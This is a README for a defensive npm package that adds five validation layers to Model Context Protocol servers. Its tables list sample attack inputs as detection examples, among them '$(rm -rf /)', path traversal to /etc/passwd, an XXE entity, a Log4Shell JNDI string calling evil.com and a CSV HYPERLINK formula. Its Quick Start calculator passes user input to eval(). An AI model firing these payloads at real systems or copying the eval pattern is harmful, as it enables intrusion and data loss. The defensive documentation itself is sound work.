Skip to content

A universal security-by-default framework for Model Context Protocol (MCP) servers that provides multi-layered defense against traditional attacks.

License

Notifications You must be signed in to change notification settings

aself101/mcp-secure-server

Repository files navigation

MCP Security Framework

License: MIT Node.js TypeScript Tests Coverage

A secure-by-default MCP server built on the official SDK with 5-layer validation. Provides defense-in-depth against traditional attacks and AI-driven threats.

This framework implements defense-in-depth security with zero configuration required, protecting MCP servers from path traversal, command injection, SQL injection, XSS, prototype pollution, SSRF, and 20+ additional attack vectors.

Quick Start

Installation

npm install mcp-secure-server

Basic Usage

import { SecureMcpServer } from 'mcp-secure-server';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js';
import { z } from 'zod';

// Create secure server (drop-in replacement for McpServer)
const server = new SecureMcpServer(
  { name: 'my-server', version: '1.0.0' }
);

// Register tools exactly like McpServer
server.tool('calculator', 'Basic calculator', {
  expression: z.string()
}, async ({ expression }) => {
  // Security framework automatically blocks malicious inputs
  return { content: [{ type: 'text', text: `Result: ${eval(expression)}` }] };
});

// Connect - transport is automatically wrapped with security
const transport = new StdioServerTransport();
await server.connect(transport);

With Logging (Opt-in)

const server = new SecureMcpServer(
  { name: 'my-server', version: '1.0.0' },
  {
    enableLogging: true,
    verboseLogging: true,
    logPerformanceMetrics: true,
    logLevel: 'debug'
  }
);

Full TypeScript support with exported types for all parameters, configurations, and responses.

Table of Contents

Cookbook Examples

Example MCP servers demonstrating the security framework. Each server includes input validation and attack prevention.

Server Description Tools Auth
advanced-validation-server Layer 5 custom validators (PII detection, geofencing, business hours, egress tracking) Financial query, batch process, export data, API call None
api-wrapper-server Safe REST API wrapping with domain restrictions and rate limiting Weather, currency conversion, news headlines None
cli-wrapper-server Safe CLI tool wrapping with command injection prevention Git status, image resize, PDF metadata, video encode None
database-server Secure database operations with SQL injection prevention User queries, order creation, report generation None
filesystem-server Protected file system access with path traversal prevention Read files, list directories, search files None
http-server Simple HTTP transport with createHttpServer() Calculator, echo None
image-gen-server Unified image generation across 5 providers (BFL, Google, Ideogram, OpenAI, Stability) Generate, edit, upscale, describe images API keys
kenpom-server College basketball analytics and efficiency ratings Ratings, schedules, scouting reports, player stats KenPom login
monitoring-server Observability with metrics, audit logging, and alerts Security metrics, audit log, alerts, Prometheus export None
multi-endpoint-server Multiple HTTP endpoints with createSecureHttpHandler() Admin (list-users, system-stats), Public (health, status) None
nba-server NBA stats, live scores, and player data Player stats, box scores, live scoreboard None
transaction-server Method chaining enforcement for secure transaction workflows Session, accounts, prepare/confirm/execute transactions None

See the cookbook README for setup instructions and detailed documentation.

Overview

The MCP Security Framework acts as a universal wrapper for any MCP server, providing comprehensive security validation through a multi-layered architecture. It implements:

  • 5-Layer Defense Pipeline - Structure, Content, Behavior, Semantics, and Contextual validation
  • Zero Configuration - Security enabled by default with sensible defaults
  • Universal Compatibility - Works with any MCP server using @modelcontextprotocol/sdk
  • Extensible Layer 5 - Add custom validators, domain restrictions, OAuth validation
  • Tested - 1067 tests with 86% coverage
  • Opt-in Logging - Quiet by default for production use
  • Performance Optimized - Content caching and efficient pattern detection
  • Full TypeScript Support - Complete type definitions with strict mode

Architecture

Request → Layer 1 → Layer 2 → Layer 3 → Layer 4 → Layer 5 → MCP Server
           │          │          │          │          │
        Structure  Content   Behavior  Semantics  Contextual
        Validation Validation Validation Validation Validation

Visual Overview

                          MCP Security Framework (5 Layers by Default)
                                          │
    ┌─────────────┬─────────────┬─────────────┬─────────────┬─────────────┐
    │             │             │             │             │             │
┌───▼────┐  ┌─────▼─────┐  ┌────▼────┐  ┌────▼─────┐  ┌─────▼──────┐
│ Layer 1│  │  Layer 2  │  │ Layer 3 │  │  Layer 4 │  │  Layer 5   │
│ Struct.│  │  Content  │  │ Behavior│  │ Semantics│  │ Contextual │
└────────┘  └───────────┘  └─────────┘  └──────────┘  └────────────┘
│JSON-RPC│  │Injection  │  │Rate     │  │Tool      │  │Custom      │
│Format  │  │Detection  │  │Limiting │  │Contracts │  │Validators  │
│Size    │  │XSS/SQLi   │  │Burst    │  │Quotas    │  │Domain/OAuth│
│Encoding│  │Path Trav. │  │Patterns │  │Policies  │  │Response Val│
└────────┘  └───────────┘  └─────────┘  └──────────┘  └────────────┘

Security Layers

Layer 1 - Structure Validation

Validates the fundamental structure of incoming JSON-RPC messages.

Protections:

  • JSON-RPC 2.0 format validation
  • Request size limits (default: 50KB)
  • Message encoding validation
  • Parameter count limits
  • Method name length limits

Configuration:

{
  maxMessageSize: 50000,      // Maximum message size in bytes
  maxParamCount: 100,         // Maximum parameter count
  maxMethodLength: 256        // Maximum method name length
}

Layer 2 - Content Validation

Detects and blocks malicious content patterns in request parameters.

Protections:

  • Path traversal (../../../etc/passwd)
  • Command injection ($(rm -rf /), backticks, pipes)
  • SQL injection (' OR 1=1; DROP TABLE users; --)
  • NoSQL injection ({"$where": "..."})
  • XSS (<script>alert('xss')</script>)
  • Prototype pollution ({"__proto__": {...}})
  • XML entity attacks (XXE, Billion Laughs)
  • CRLF injection (\r\n\r\n header injection)
  • SSRF (cloud metadata endpoints)
  • CSV injection (formula injection)
  • LOLBins (certutil, mshta, regsvr32)
  • GraphQL introspection attacks
  • Deserialization attacks (Java, PHP, Python, .NET, Ruby)
  • JNDI/Log4Shell (${jndi:ldap://...})
  • Buffer overflow patterns

Configuration:

{
  contentValidation: {
    enabled: true,
    debugMode: false          // Enable for detailed pattern match info
  }
}

Layer 3 - Behavior Validation

Rate limiting and request pattern analysis to prevent abuse.

Protections:

  • Requests per minute rate limiting
  • Requests per hour rate limiting
  • Burst detection (requests in 10-second window)
  • Request pattern anomaly detection

Configuration:

{
  maxRequestsPerMinute: 30,   // Rate limit per minute
  maxRequestsPerHour: 500,    // Rate limit per hour
  burstThreshold: 10          // Max requests in 10-second window
}

Layer 4 - Semantic Validation

Tool contract enforcement and resource access policies.

Protections:

  • Tool argument validation against schemas
  • Response size limits (egress control)
  • Per-tool quota enforcement
  • Side effect declarations
  • Filesystem access control via resource policies
  • Session management
  • Method chaining enforcement (opt-in)

Configuration:

{
  toolRegistry: [
    {
      name: 'my-database-tool',
      sideEffects: 'write',       // 'none' | 'read' | 'write' | 'network'
      maxArgsSize: 5000,          // Max argument size in bytes
      maxEgressBytes: 100000,     // Max response size
      quotaPerMinute: 30,
      quotaPerHour: 500,
      argsShape: {                // Expected argument schema
        query: { type: 'string' },
        limit: { type: 'number' }
      }
    }
  ],
  resourcePolicy: {
    allowedSchemes: ['file'],
    rootDirs: ['./data', './public'],
    denyGlobs: ['/etc/**', '**/*.key', '**/.env'],
    maxPathLength: 4096,
    maxReadBytes: 2000000         // 2MB max file read
  },
  maxSessions: 5000,
  sessionTtlMs: 1800000            // 30 minutes
}

Method Chaining Enforcement

Layer 4 can enforce valid method call sequences to prevent abuse patterns like calling dangerous tools without proper initialization.

Enable chaining enforcement:

{
  enforceChaining: true,           // Enable method chaining (default: false)
  chainingDefaultAction: 'deny',   // 'allow' | 'deny' when no rule matches
  chainingRules: [
    // Allow any method to call initialize
    { from: '*', to: 'initialize' },
    // After initialize, can list tools or resources
    { from: 'initialize', to: 'tools/list' },
    { from: 'initialize', to: 'resources/list' },
    // After listing tools, can call them
    { from: 'tools/list', to: 'tools/call' },
    // Tool-to-tool calls allowed
    { from: 'tools/call', to: 'tools/call' },
  ]
}

ChainingRule type:

interface ChainingRule {
  from: string;              // Method to transition from ('*' for any)
  to: string;                // Method to transition to ('*' for any)
  fromTool?: string;         // Tool name glob pattern (e.g., 'file-*', '*-http*')
  toTool?: string;           // Tool name glob pattern
  fromSideEffect?: SideEffects;  // 'none' | 'read' | 'write' | 'network'
  toSideEffect?: SideEffects;
  action?: 'allow' | 'deny'; // Default: 'allow'
  id?: string;               // Rule identifier for logging
  description?: string;      // Human-readable description
}

Advanced example - block dangerous transitions:

{
  enforceChaining: true,
  chainingDefaultAction: 'allow',  // Allow by default
  chainingRules: [
    // Block read tools from calling write tools directly
    {
      from: 'tools/call',
      to: 'tools/call',
      fromSideEffect: 'read',
      toSideEffect: 'write',
      action: 'deny',
      id: 'no-read-to-write'
    },
    // Block file-* tools from calling *-http* tools
    {
      from: 'tools/call',
      to: 'tools/call',
      fromTool: 'file-*',
      toTool: '*-http*',
      action: 'deny',
      id: 'no-file-to-http'
    }
  ]
}

Rules are evaluated first-match-wins. Tool patterns use simple glob matching (* = any chars, ? = single char).

Layer 5 - Contextual Validation

Custom validators, domain restrictions, and response filtering. Fully extensible.

Protections:

  • Custom validator registration with priorities
  • Domain blocklist/allowlist enforcement
  • OAuth URL validation
  • Response content validation (PII detection, etc.)
  • Cross-request state via context store
  • Global rules that run before validators

Configuration:

{
  contextual: {
    enabled: true,                // Set false to disable Layer 5
    domainRestrictions: {
      enabled: true,
      blockedDomains: ['evil.com', 'malicious.net'],
      allowedDomains: []          // Empty = allow all except blocked
    },
    oauthValidation: {
      enabled: true,
      allowedDomains: ['oauth.example.com'],
      blockDangerousSchemes: true
    },
    rateLimiting: {
      enabled: true,
      limit: 20,
      windowMs: 60000
    }
  }
}

Installation

From npm

# Install in your project
npm install mcp-secure-server

# Or install globally
npm install -g mcp-secure-server

From Source

# Clone the repository
git clone https://github.com/aself101/mcp-secure-server.git
cd mcp-secure-server

# Install dependencies
npm install

# Build TypeScript
npm run build

Dependencies:

  • @modelcontextprotocol/sdk - MCP SDK (peer dependency)
  • zod - Schema validation (peer dependency)

TypeScript Support

This package is written in TypeScript with strict mode enabled (noUncheckedIndexedAccess, strictNullChecks). All exports include complete type definitions.

Exported Types

import {
  // Main classes
  SecureMcpServer,
  SecureTransport,
  ContextualValidationLayer,
  ContextualConfigBuilder,

  // Factory functions
  createContextualLayer,

  // Type guards
  isSeverity,
  isViolationType,
  isError,
  getErrorMessage,

  // Types
  SecurityOptions,
  ValidationResult,
  Severity,
  ViolationType,
  ToolSpec,
  ResourcePolicy,
  ValidationContext
} from 'mcp-secure-server';

Type-Safe Configuration

import { SecureMcpServer, SecurityOptions } from 'mcp-secure-server';

const options: SecurityOptions = {
  maxMessageSize: 50000,
  maxRequestsPerMinute: 30,
  enableLogging: true,
  contextual: {
    enabled: true,
    domainRestrictions: {
      enabled: true,
      blockedDomains: ['evil.com']
    }
  }
};

const server = new SecureMcpServer(
  { name: 'my-server', version: '1.0.0' },
  options  // TypeScript validates all options
);

Validation Results

interface ValidationResult {
  passed: boolean;
  allowed?: boolean;
  severity?: Severity;      // 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL'
  reason?: string;
  violationType?: ViolationType;  // 'PATH_TRAVERSAL' | 'SQL_INJECTION' | ...
  layerName?: string;
}

Building from Source

# Install dependencies
npm install

# Build TypeScript to JavaScript
npm run build

# Output is in dist/
ls dist/
# index.js, index.d.ts, security/*.js, security/*.d.ts, types/*.d.ts

Configuration

Full Configuration Reference

const server = new SecureMcpServer(
  { name: 'my-server', version: '1.0.0' },
  {
    // ═══════════════════════════════════════════
    // Layer 1 - Structure Validation
    // ═══════════════════════════════════════════
    maxMessageSize: 50000,        // Max message size (bytes)
    maxParamCount: 100,           // Max parameters per request
    maxMethodLength: 256,         // Max method name length

    // ═══════════════════════════════════════════
    // Layer 2 - Content Validation
    // ═══════════════════════════════════════════
    // Enabled by default with all pattern detection

    // ═══════════════════════════════════════════
    // Layer 3 - Behavior Validation
    // ═══════════════════════════════════════════
    maxRequestsPerMinute: 30,     // Rate limit per minute
    maxRequestsPerHour: 500,      // Rate limit per hour
    burstThreshold: 10,           // Max requests in 10s window

    // ═══════════════════════════════════════════
    // Layer 4 - Semantic Validation
    // ═══════════════════════════════════════════
    toolRegistry: [               // Tool constraints
      {
        name: 'my-tool',
        sideEffects: 'write',
        maxArgsSize: 5000,
        maxEgressBytes: 100000,
        quotaPerMinute: 30
      }
    ],
    resourcePolicy: {             // Filesystem access control
      allowedSchemes: ['file'],
      rootDirs: ['./data'],
      denyGlobs: ['/etc/**', '**/*.key'],
      maxReadBytes: 2000000
    },
    maxSessions: 5000,
    sessionTtlMs: 1800000,
    enforceChaining: false,       // Enable method chaining (default: false)
    chainingDefaultAction: 'deny', // 'allow' | 'deny' when no rule matches
    chainingRules: [              // Method transition rules
      { from: '*', to: 'initialize' },
      { from: 'initialize', to: 'tools/list' },
      { from: 'tools/list', to: 'tools/call' },
      { from: 'tools/call', to: 'tools/call' },
      // Advanced: tool patterns and side effects
      // { from: 'tools/call', to: 'tools/call', fromTool: 'read-*', toTool: 'write-*', action: 'deny' }
    ],

    // ═══════════════════════════════════════════
    // Layer 5 - Contextual Validation
    // ═══════════════════════════════════════════
    contextual: {
      enabled: true,              // false to disable Layer 5
      domainRestrictions: {
        enabled: true,
        blockedDomains: ['evil.com'],
        allowedDomains: []        // Empty = allow all except blocked
      },
      oauthValidation: {
        enabled: true,
        allowedDomains: ['oauth.example.com'],
        blockDangerousSchemes: true
      },
      rateLimiting: {
        enabled: true,
        limit: 20,
        windowMs: 60000
      }
    },

    // ═══════════════════════════════════════════
    // Logging (all disabled by default)
    // ═══════════════════════════════════════════
    enableLogging: false,         // Enable security logging
    verboseLogging: false,        // Detailed decision logs
    logPerformanceMetrics: false, // Timing statistics
    logLevel: 'info'              // 'debug' | 'info' | 'warn' | 'error'
  }
);

API Reference

SecureMcpServer

Drop-in replacement for McpServer with built-in 5-layer security.

import { SecureMcpServer } from 'mcp-secure-server';

const server = new SecureMcpServer(serverInfo, options);

McpServer Delegation Methods

// Register a tool (identical to McpServer)
server.tool(name, description, schema, handler);

// Register a resource
server.resource(name, uri, handler);

// Register a prompt
server.prompt(name, description, handler);

// Connect with secure transport wrapping
await server.connect(transport);

// Close connection
await server.close();

// Check connection status
server.isConnected();

Security Methods

// Get security statistics
const stats = server.getSecurityStats();
// { totalRequests, blockedRequests, allowedRequests, byLayer: {...} }

// Get detailed security report (requires enableLogging: true)
const report = server.getVerboseSecurityReport();

// Generate full report to file (requires enableLogging: true)
await server.generateSecurityReport();

// Graceful shutdown with final report
await server.shutdown();

Property Accessors

server.mcpServer;           // Access underlying McpServer
server.server;              // Access underlying Server
server.validationPipeline;  // Access validation pipeline

SecureTransport

Low-level transport wrapper for custom implementations.

import { SecureTransport } from 'mcp-secure-server';

const secureTransport = new SecureTransport(
  transport,       // Original transport
  validator,       // Validation function
  {
    errorSanitizer // Optional error sanitizer
  }
);

HTTP Transport

For remote MCP servers, use the built-in HTTP transport with security validation. Zero external dependencies - uses node:http directly.

import { SecureMcpServer } from 'mcp-secure-server';
import { z } from 'zod';

const server = new SecureMcpServer(
  { name: 'my-server', version: '1.0.0' },
  { enableLogging: true }
);

server.tool('add', 'Add two numbers', {
  a: z.number(),
  b: z.number()
}, async ({ a, b }) => ({
  content: [{ type: 'text', text: `${a + b}` }]
}));

// Create HTTP server with security validation
const httpServer = server.createHttpServer({ endpoint: '/mcp' });
httpServer.listen(3000, () => {
  console.log('MCP server listening on http://localhost:3000/mcp');
});

Configuration options:

interface HttpServerOptions {
  endpoint?: string;      // MCP endpoint path (default: '/mcp')
  maxBodySize?: number;   // Max body size in bytes (default: 51200 = 50KB)
}

Session ID handling:

Source Value Used By
Mcp-Session-Id header Client-provided Layer 3 rate limiting, Layer 4 quotas
Missing header 'stateless' Shared limits across all requests

Standalone function:

import { SecureMcpServer, createSecureHttpServer } from 'mcp-secure-server';

const server = new SecureMcpServer({ name: 'x', version: '1.0' });
const httpServer = createSecureHttpServer(server, { endpoint: '/api/mcp' });
httpServer.listen(8080);

Multiple endpoints:

For services exposing multiple MCP servers on different paths, use createSecureHttpHandler to compose your own routing:

import { SecureMcpServer, createSecureHttpHandler } from 'mcp-secure-server';
import { createServer } from 'node:http';

// Create separate MCP servers with different tools/permissions
const adminServer = new SecureMcpServer({ name: 'admin', version: '1.0' });
const publicServer = new SecureMcpServer({ name: 'public', version: '1.0' });

// Register tools on each server
adminServer.tool('delete-user', ...);
publicServer.tool('get-status', ...);

// Create handlers (validates requests, forwards to MCP SDK transport)
const adminHandler = createSecureHttpHandler(adminServer);
const publicHandler = createSecureHttpHandler(publicServer);

// Compose with custom routing
const httpServer = createServer(async (req, res) => {
  if (req.url?.startsWith('/api/admin')) return adminHandler(req, res);
  if (req.url?.startsWith('/api/public')) return publicHandler(req, res);
  res.writeHead(404).end(JSON.stringify({ error: 'Not found' }));
});

httpServer.listen(3000);
Function Purpose
createSecureHttpServer Single endpoint, includes routing
createSecureHttpHandler Request handler only, you provide routing

CORS: Add headers manually or wrap with a CORS middleware.

HTTPS: Use node:https with the same pattern, or deploy behind a reverse proxy.

Available Exports

import {
  SecureMcpServer,            // Main secure server class
  SecureTransport,            // Transport wrapper
  createSecureHttpServer,     // HTTP server factory (single endpoint)
  createSecureHttpHandler,    // HTTP handler factory (multi-endpoint)
  ContextualValidationLayer,  // Layer 5 class
  ContextualConfigBuilder,    // Builder for Layer 5 config
  createContextualLayer       // Factory for Layer 5
} from 'mcp-secure-server';
Export Description
SecureMcpServer Drop-in replacement for McpServer with 5-layer security
SecureTransport Transport wrapper for message-level validation
createSecureHttpServer HTTP server factory with security validation
createSecureHttpHandler HTTP handler for composing multi-endpoint servers
ContextualValidationLayer Layer 5 class for advanced customization
ContextualConfigBuilder Builder for Layer 5 configuration
createContextualLayer Factory function for Layer 5 with defaults

Layer 5 Customization

Layer 5 is enabled by default. You can add custom validators at runtime for application-specific security rules.

Adding Custom Validators

import { SecureMcpServer } from 'mcp-secure-server';

const server = new SecureMcpServer(
  { name: 'my-server', version: '1.0.0' },
  {
    contextual: {
      domainRestrictions: {
        enabled: true,
        blockedDomains: ['evil.com']
      }
    }
  }
);

// Access Layer 5
const layer5 = server.validationPipeline.layers[4];

// Add custom validator with priority (lower = runs first)
layer5.addValidator('sensitive-data-check', (message, context) => {
  if (message.params?.arguments?.creditCard) {
    return {
      passed: false,
      reason: 'Credit card data not allowed in requests',
      severity: 'HIGH',
      violationType: 'SENSITIVE_DATA'
    };
  }
  return { passed: true };
}, { priority: 50, failOnError: true });

Adding Global Rules

Global rules run before validators and can short-circuit validation.

layer5.addGlobalRule((message) => {
  // Block specific operations
  if (message.method === 'admin/delete-all') {
    return {
      passed: false,
      reason: 'Operation not permitted',
      severity: 'CRITICAL',
      violationType: 'POLICY_VIOLATION'
    };
  }
  return null;  // null = pass, continue to validators
});

Adding Response Validators

Validate responses before they're sent to clients.

layer5.addResponseValidator('pii-filter', (response) => {
  const content = JSON.stringify(response);

  // Check for SSN pattern
  if (/\d{3}-\d{2}-\d{4}/.test(content)) {
    return {
      passed: false,
      reason: 'PII detected in response',
      severity: 'HIGH',
      violationType: 'DATA_LEAK'
    };
  }
  return { passed: true };
});

Using Context Store

Cross-request state management with TTL support.

// Set context with 5-minute TTL
layer5.setContext('user:session:abc123', {
  authenticated: true,
  roles: ['admin']
}, 300000);

// Get context
const session = layer5.getContext('user:session:abc123');

// Use in validators
layer5.addValidator('auth-check', (message, context) => {
  const session = layer5.getContext(`user:session:${context.sessionId}`);
  if (!session?.authenticated) {
    return {
      passed: false,
      reason: 'Authentication required',
      severity: 'HIGH',
      violationType: 'AUTH_REQUIRED'
    };
  }
  return { passed: true };
});

Disabling Layer 5

const server = new SecureMcpServer(
  { name: 'my-server', version: '1.0.0' },
  { contextual: { enabled: false } }
);

Security Features

See SECURITY.md for full security documentation including:

  • Attack detection coverage (injection, XSS, SSRF, deserialization, etc.)
  • Security best practices applied
  • SSRF protection details
  • Error sanitization
  • Reporting vulnerabilities

Attack Coverage

Blocked Attacks (Examples)

Attack Type Example Input Detection
Path Traversal ../../../etc/passwd PATH_TRAVERSAL
Command Injection $(rm -rf /) COMMAND_INJECTION
SQL Injection ' OR 1=1; DROP TABLE users; -- SQL_INJECTION
XSS <script>alert('xss')</script> XSS_ATTEMPT
Prototype Pollution {"__proto__": {"admin": true}} PROTOTYPE_POLLUTION
XXE <!ENTITY xxe SYSTEM "file:///etc/passwd"> XML_ENTITY_ATTACK
Billion Laughs <!DOCTYPE lolz [<!ENTITY lol... XML_ENTITY_ATTACK
CRLF Injection \r\n\r\nHTTP/1.1 200 OK CRLF_INJECTION
NoSQL Injection {"$where": "this.password == ''"} NOSQL_INJECTION
SSRF http://169.254.169.254/latest/ SSRF_ATTEMPT
CSV Injection =HYPERLINK("http://evil.com") CSV_INJECTION
LOLBins certutil -urlcache -split -f LOLBIN_ABUSE
GraphQL Introspection {__schema{types{name}}} GRAPHQL_INTROSPECTION
Java Deserialization rO0ABXNy... DESERIALIZATION_ATTACK
PHP Deserialization O:8:"stdClass":0:{} DESERIALIZATION_ATTACK
JNDI/Log4Shell ${jndi:ldap://evil.com/a} JNDI_INJECTION

Allowed Operations (Examples)

Operation Input Result
Calculator 25 * 4 100
File Reader ./data/config.json File contents
Echo Hello World Echo: Hello World
Database Query SELECT name FROM users WHERE id = 1 Query result

Error Handling

Validation Errors

When validation fails, the framework returns a JSON-RPC error:

{
  "jsonrpc": "2.0",
  "id": 1,
  "error": {
    "code": -32602,
    "message": "Request blocked: Path traversal detected"
  }
}

Severity Levels

Severity Description Action
CRITICAL Active exploit attempt (command injection, deserialization) Block + Alert
HIGH Serious attack (SQL injection, path traversal) Block
MEDIUM Suspicious activity (rate limit, size exceeded) Block
LOW Minor policy violation Block or Warn

Type Guards for Error Handling

import { isError, getErrorMessage, isSeverity } from 'mcp-secure-server';

try {
  await server.connect(transport);
} catch (error) {
  if (isError(error)) {
    console.error('Error:', getErrorMessage(error));
  }
}

// Validate severity values
const severity = 'HIGH';
if (isSeverity(severity)) {
  // TypeScript knows severity is Severity type
}

Claude Desktop Integration

Add to your Claude Desktop configuration (claude_desktop_config.json):

{
  "mcpServers": {
    "secure-server": {
      "command": "node",
      "args": ["path/to/your/server.js"],
      "cwd": "/path/to/project"
    }
  }
}

Test Server

Run the included test server to verify the framework:

npm start

The test server includes 7 protected tools:

  • debug-calculator - Basic math operations
  • debug-file-reader - Safe file reading
  • debug-echo - Text echo service
  • debug-database - Database query simulation
  • debug-http - HTTP request simulation
  • debug-parser - JSON/XML parsing
  • debug-image - Image processing simulation

Add to Claude Desktop:

{
  "mcpServers": {
    "secure-test": {
      "command": "npx",
      "args": ["tsx", "test-server/minimal-test-server.ts"],
      "cwd": "/path/to/mcp-secure-server"
    }
  }
}

Development

Running Tests

# Run all tests
npm test

# Run specific test suites
npm run test:unit
npm run test:integration
npm run test:performance

# Watch mode for development
npm run test:watch

# Generate coverage report
npm run test:coverage

Test Coverage:

  • Overall: 86% lines, 86% branches
  • 1066 comprehensive tests
  • Mutation tests for severity levels
  • Boundary value tests for limits
  • Real attack vector validation

Running a Single Test

npx vitest run test/unit/utils/canonical.test.js

Linting

npm run lint

Project Structure

src/
├── index.ts                              # Main entry point
├── types/                                # TypeScript type definitions
│   ├── index.ts
│   ├── layers.ts                         # Layer type definitions
│   ├── messages.ts                       # Message type definitions
│   ├── policies.ts                       # Policy type definitions
│   └── validation.ts                     # Validation type definitions
└── security/
    ├── mcp-secure-server.ts              # SecureMcpServer class
    ├── constants.ts                      # Configuration constants
    ├── transport/
    │   ├── index.ts                      # Transport exports
    │   ├── secure-transport.ts           # SecureTransport class (stdio)
    │   └── http-server.ts                # HTTP transport server
    ├── layers/
    │   ├── layer1-structure.ts           # JSON-RPC validation
    │   ├── layer2-content.ts             # Content/injection detection
    │   ├── layer2-validators/            # Modular content validators
    │   ├── layer3-behavior.ts            # Rate limiting
    │   ├── layer4-semantics.ts           # Tool contracts
    │   ├── layer5-contextual.ts          # Custom validators
    │   ├── contextual-config-builder.ts  # Layer 5 configuration
    │   ├── validation-layer-base.ts      # Base class
    │   └── layer-utils/
    │       ├── content/
    │       │   ├── canonicalize.ts       # Text normalization
    │       │   ├── dangerous-patterns.ts # Attack pattern definitions
    │       │   ├── patterns/             # Pattern modules
    │       │   └── utils/                # Helper utilities
    │       └── semantics/                # Semantic utilities
    └── utils/
        ├── validation-pipeline.ts        # Multi-layer orchestration
        ├── security-logger.ts            # Logging system
        ├── error-sanitizer.ts            # Safe error responses
        ├── request-normalizer.ts         # Request normalization
        └── tool-registry.ts              # Tool management

cookbook/                                 # Example MCP servers
├── http-server/                          # HTTP transport example
├── multi-endpoint-server/                # Multi-endpoint example
├── image-gen-server/                     # Image generation APIs
├── kenpom-server/                        # Sports analytics
├── api-wrapper-server/                   # Safe API wrapper
├── database-server/                      # SQL injection prevention
├── filesystem-server/                    # Path traversal prevention
├── cli-wrapper-server/                   # Command injection prevention
├── monitoring-server/                    # Security metrics/alerts
├── transaction-server/                   # State machine workflows
└── advanced-validation-server/           # Advanced security demos

Troubleshooting

Module Not Found

Error: Cannot find module '@modelcontextprotocol/sdk'

Solution: Install peer dependencies:

npm install @modelcontextprotocol/sdk zod

Rate Limit Exceeded

Error: Request blocked: Rate limit exceeded

Solution: Increase rate limits in configuration:

{
  maxRequestsPerMinute: 60,
  maxRequestsPerHour: 1000
}

False Positive Detection

Error: Request blocked: Path traversal detected

Solution: If legitimate path contains ../, configure resource policy:

{
  resourcePolicy: {
    rootDirs: ['./allowed-paths'],
    // Paths are validated relative to rootDirs
  }
}

Logging Not Working

getVerboseSecurityReport() returns empty

Solution: Enable logging in configuration:

{
  enableLogging: true,
  verboseLogging: true
}

Layer 5 Validators Not Running

Solution: Ensure Layer 5 is enabled:

{
  contextual: {
    enabled: true  // Must be true (default)
  }
}

TypeScript Type Errors

Solution: Ensure you're using TypeScript 5.0+ with strict mode:

{
  "compilerOptions": {
    "strict": true,
    "noUncheckedIndexedAccess": true
  }
}

License

MIT License - see LICENSE file for details.


Changelog

v0.9.0 (Current)

  • Full TypeScript rewrite - Complete type safety with strict mode
  • Zero any usage - Type guards for all dynamic data
  • 1066 tests - Up from 707, includes extended chaining rules tests
  • Type exports - All types available for consumers
  • Type guards: isSeverity(), isViolationType(), isError(), getErrorMessage()

v0.8.0

  • Layer 5 enabled by default - Contextual validation in standard pipeline
  • Domain restrictions, OAuth validation, response filtering
  • Consolidated into single SecureMcpServer class
  • Logging opt-in (quiet by default)
  • 488 tests passing

v0.7.1

  • SSRF protection with cloud metadata blocking
  • Deserialization attack detection
  • CSV injection and LOLBins detection
  • GraphQL introspection blocking
  • 450 tests passing

Disclaimer: This framework provides defense-in-depth security but cannot guarantee protection against all attacks. Always follow security best practices and keep dependencies updated.

About

A universal security-by-default framework for Model Context Protocol (MCP) servers that provides multi-layered defense against traditional attacks.

Resources

License

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •